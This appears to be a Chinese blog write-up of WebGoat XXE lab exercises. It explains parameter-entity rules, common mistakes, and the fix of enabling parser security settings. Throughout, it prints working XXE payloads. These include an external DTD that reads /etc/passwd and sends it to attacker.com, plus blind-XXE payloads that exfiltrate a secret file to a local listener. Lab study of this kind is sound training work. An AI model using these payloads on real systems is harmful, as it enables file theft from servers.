前言

这里包括两个内容：xxe和csrf。

为什么归类在错误的安全配置里，我觉得是这两个漏洞的修复主要依靠各种配置，不太涉及到大量的代码修改，修复过程不容易对业务产生影响。

刚接触网安的时候，学的是ctf。由于ctf里没遇到过太多xxe和csrf的题目，所以这一块知识一直很薄弱，借此机会巩固一下。

xxe

基础复习

又去问了AI，发现了以前没注意的一些点。

1、DTD中，通用实体不能直接引用参数实体

1
2
3

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;

上面的例子中，% all 这种带百分号的，就是参数实体，只能在DTD中使用。

一开始我在想，为什么不直接写，而是要用 %all 套一层。后面才知道通用实体直接引用参数实体会报错。

最后的poc：

<?xml version="1.0"?>
<!DOCTYPE data [
    <!ENTITY % a SYSTEM "http://attacker.com/evil.dtd">
%a;
]>
<data>&send;</data>

第一题

很简单，直接通过file协议读文件就行。记得注入的实体要写在text标签内，这样才能回显在评论区，才满足题目要求。同时注意一下windows下调用file协议读文件的格式，file:///C:/

源码部分，重点在org.owasp.webgoat.lessons.xxe.CommentsCache#parseXml：

这里调用xml解析时，securityEnabled默认是false的，所以运行外部实体和DTD。想要修复漏洞也很简单，把这些配置打开即可。由于业务中一般不会用到外部实体，所以对正常业务没有影响。

第二题

就是抓包手动将Content-Type改成application/xml。payload和上面一致。

源码部分就是根据Content-Type进入不同方法，没什么好说的

第三题

无回显的xxe。

先看exp：

dtd文件：

1
2
3

<!ENTITY % file SYSTEM "file:///C:/Users/snowstorm-maxy/.webgoat-2025.3/XXE/webgoat/secret.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:7778/%file;'>">
%all;

数据包：

<?xml version="1.0"?>
<!DOCTYPE com [
<!ENTITY % dtd SYSTEM "http://127.0.0.1:7778/evil.dtd">
%dtd;
]
>
<comment>  <text>3213 &send;</text></comment>

收到请求，记得url解码：

下面介绍几种常见的错误写法：

1、直接引用参数实体

<!DOCTYPE com [
<!ENTITY % test "aaaa">
<!ENTITY % a "%test;">
]
>
和
<!DOCTYPE com [
<!ENTITY % test "aaaa">
<!ENTITY a "%test;">
]
>

这两种写法都会报错：参数实体引用 “%test;” 不能出现在 DTD 的内部子集中的标记内

所以不能直接创建一个%file，然后在下面的send 中直接引用

2、不远程加载dtd，直接写到数据包中

我一开始想，为什么不直接写到请求体里，效果不是一样吗，就像这样：

<?xml version="1.0"?>
<!DOCTYPE com [
<!ENTITY % file SYSTEM "file:///C:/Users/snowstorm-maxy/.webgoat-2025.3/XXE/webgoat/secret.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:7778/%file;'>">
%all;
]
>
<comment>  <text>3213 &send;</text></comment>

然而，这里的报错和上面的是一样的。

上面问题的原因都是一样的，就是xml1.0不允许这种语法，即不允许內部子集(没有用SYSTEM的)引用参数实体。但是通过dtd加载可以绕过这种限制。

3、%file引用未生效

<?xml version="1.0"?>
<!DOCTYPE com [
<!ENTITY % file SYSTEM "file:///C:/Users/snowstorm-maxy/.webgoat-2025.3/XXE/webgoat/secret.txt">
<!ENTITY % all SYSTEM 'http://127.0.0.1:7778/%file;'>
%all;
]
>
<comment>  <text>3213 &send;</text></comment>